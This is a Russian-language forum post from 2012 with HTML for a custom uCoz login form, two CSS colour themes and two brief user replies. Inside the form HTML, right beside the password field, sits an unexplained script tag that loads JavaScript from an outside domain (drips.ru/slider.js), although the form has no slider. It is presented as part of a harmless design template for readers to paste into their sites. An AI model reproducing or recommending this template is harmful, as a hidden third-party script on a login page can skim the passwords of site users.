Время:
Новых сообщений: Нет
Вы на форуме дней
Ваша группа: Гость
Ваш IP: 3.147.62.5
Logical-Portal — молодежный портал со своей изюминкой, каждый сможет найти что-то интересное и полезное для себя, например наш форум общения с которым вам обязательно нужно ознакомиться.
  • Страница 1 из 1
  • 1
Форма входа под Ucoz (2 вида)
Сообщение оставлено 19.02.2012 в 15:16:28 | Сообщение #1
И так для начало нам следует зайти в админ панель вашего сайта в системе uCoz:

Дизайн => Управление дизайном =>Пользователи => Форма входа пользователей

и заменить стандартный html код формы входа для uCoz., на следующий код:

Code
<div id="cell_vxod">  
<div class="cell_pola_vxod"><div class="vxod_name">Логин:</div><input class="login_pole" type="text" name="user" value="" size="20" maxlength="50"/></div>  
<div class="cell_pola_vxod"><div class="vxod_name">Пароль:</div><script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="login_pole" type="password" name="password" size="20" maxlength="15"/></div>  
<div id="vxod_reg">  
<a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a>  
<span class="right"><input class="south" title="Сохранить пароль при входе"id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$"></label></span>  
</div>  
<div id="cell_knopkav"><input class="knopka_vxoda" name="sbm" type="submit" value="Вход"/></div>  
</div>


Шаг 2, установим CSS:

Теперь нам осталось выбрать один из двух вариантов css стилей для нашей формы входа для uCoz.

Вариант № 1 White (Белый):

Скрин: http://s017.radikal.ru/i402/1202/b4/9a0bda713aed.png

CSS-Code
Code
/* Форма входа  
------------------------------------------*/  
#cell_vxod {  
float:left;  
width:270px;  
}  

#cell_vxod a:link,  
#cell_vxod a:visited {text-decoration:none; color:#5a79b8;}  
#cell_vxod a:hover {text-decoration:none; color:#5cb85a;}  

#vxod_reg {  
float:left;  
font:10px Verdana,Arial,Helvetica, sans-serif;  
color:#BABABA;  
font-weight: bold;  
width:212px;  
padding: 5px 5px 0px 0px;  
}  

#cell_knopkav {  
float:left;  
width:53px;  
}  

.cell_pola_vxod {  
float:left;  
margin-bottom: 10px;  
}  

.vxod_name {  
width:55px; text-shadow: 1px 1px 1px #fff;  
background:#d6d6d6;  
border-right: none;  
border-left: 1px solid #d6d6d6;  
padding: 5px 0px 5px 5px;  
}  

.login_pole {  
width:193px;  
border-left: none;  
border-right: 1px solid #d6d6d6;  
padding: 5px 5px 5px 10px;  
vertical-align:middle;  
}  

.login_pole,  
.vxod_name {  
float:left;  
font:11px Verdana,Arial,Helvetica, sans-serif;  
color:#555;  
border-top: 1px solid #d6d6d6;  
border-bottom: 1px solid #d6d6d6;  
margin:0px;  
}  

.login_pole {background: #f6f6f6 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}  
.login_pole:focus {background: #fff url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}  

.knopka_vxoda {  
color:#555; text-shadow: 1px 1px 1px #fff;  
padding: 3px 0px;  
width:53px;  
background: #f6f6f6;  
border:1px solid #d6d6d6;  
margin:0px;  
}  

.knopka_vxoda:hover {  
background: #d6d6d6;  
}  
/* -------------------------------------- */


Вариант № 2 Black (Чёрный):

Скрин: http://s018.radikal.ru/i517/1202/31/66571105d084.png

CSS-Code

Code
/* Форма входа  
------------------------------------------*/  
#cell_vxod {  
float:left;  
width:270px;  
}  

#cell_vxod a:link,  
#cell_vxod a:visited {text-decoration:none; color:#69A4BD;}  
#cell_vxod a:hover {text-decoration:none; color:#5CB703;}  

#vxod_reg {  
float:left;  
font:10px Verdana,Arial,Helvetica, sans-serif;  
color:#BABABA;  
font-weight: bold;  
width:212px;  
padding: 5px 5px 0px 0px;  
}  

#cell_knopkav {  
float:left;  
width:53px;  
}  

.cell_pola_vxod {  
float:left;  
margin-bottom: 10px;  
}  

.vxod_name {  
width:55px;text-shadow: 1px 1px 1px #8A8A8A;  
background:#656565;  
border-right: none;  
border-left: 1px solid #232323;  
padding: 5px 0px 5px 5px;  
}  

.login_pole {  
width:193px;  
border-left: none;  
border-right: 1px solid #232323;  
padding: 5px 5px 5px 10px;  
vertical-align:middle;  
}  

.login_pole,  
.vxod_name {  
float:left;  
font:11px Verdana,Arial,Helvetica, sans-serif;  
color:#111;  
border-top: 1px solid #232323;  
border-bottom: 1px solid #878787;  
margin:0px;  
}  

.login_pole {background: #767676 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}  
.login_pole:focus {background: #808080 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}  

.knopka_vxoda {  
color:#111;  
padding: 3px 0px;  
width:53px;  
background: #8a8a8a;  
border:1px solid #232323;  
margin:0px;  
}  

.knopka_vxoda:hover {  
background: #656565;  
}  
/* -------------------------------------- */
 
 
   
Сообщение оставлено 19.02.2012 в 16:49:18 | Сообщение #2
Хороший скрипт спасибо
 
 
   
Сообщение оставлено 19.02.2012 в 19:04:29 | Сообщение #3
Мне не понравился вид! не оч красиво
 
Увидимся...
 
   
  • Страница 1 из 1
  • 1
Поиск:
 
Графика от: Megas, GraFOS | Дизайн сверстал E.A.
Хостинг от uCoz
Яндекс.Метрика